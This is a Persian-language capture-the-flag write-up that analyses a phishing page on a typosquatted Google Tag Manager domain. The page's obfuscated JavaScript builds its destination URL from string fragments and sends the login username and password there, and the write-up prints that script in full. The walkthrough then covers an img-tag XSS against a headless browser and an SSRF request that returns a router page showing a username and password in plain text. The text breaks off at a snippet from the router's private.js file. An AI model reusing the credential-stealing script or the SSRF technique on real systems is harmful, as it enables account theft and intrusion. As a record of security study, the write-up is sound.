توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :
<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-978312237-6');
</script>
بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';
document.getElementById(bb + ccr + cd).addEventListener("click", function() {
var a_1 = 'htt';
var a_2 = 'ps://';
var a_3 = 'hac';
var a_4 = 'kboo';
var a_5 = 'kag';
var a_6 = 'ram';
var a_7 = '.c';
var a_8 = 'om/';
var a_9 = 'log';
var a_10 = 'in';
var e = new XMLHttpRequest;
e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
e.onload = function() {
var t = JSON.parse(e.responseText);
if (console.log(), 201 == e.status) {
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
document.body.innerHTML = document.body.innerHTML + '';
window.location = t[0];
} else {
alert(t[0]);
}
};
e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
event.stopImmediatePropagation();
});
بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:
178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"
در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
$('.connection-test').click(function() {
$.post('/connection-test', { node: 'us1' }, function(resp) {
$('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
}).fail(function(resp) {
$('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
});
});شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1
و ریسپانس 200 دریافت کردیم :
<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>
محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
`JS$('.setConnection').click(function() {
var username = $('input[name="i_username"]').val();
var password = $('input[name="i_password"]').val();
$.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
alert(resp);
});
});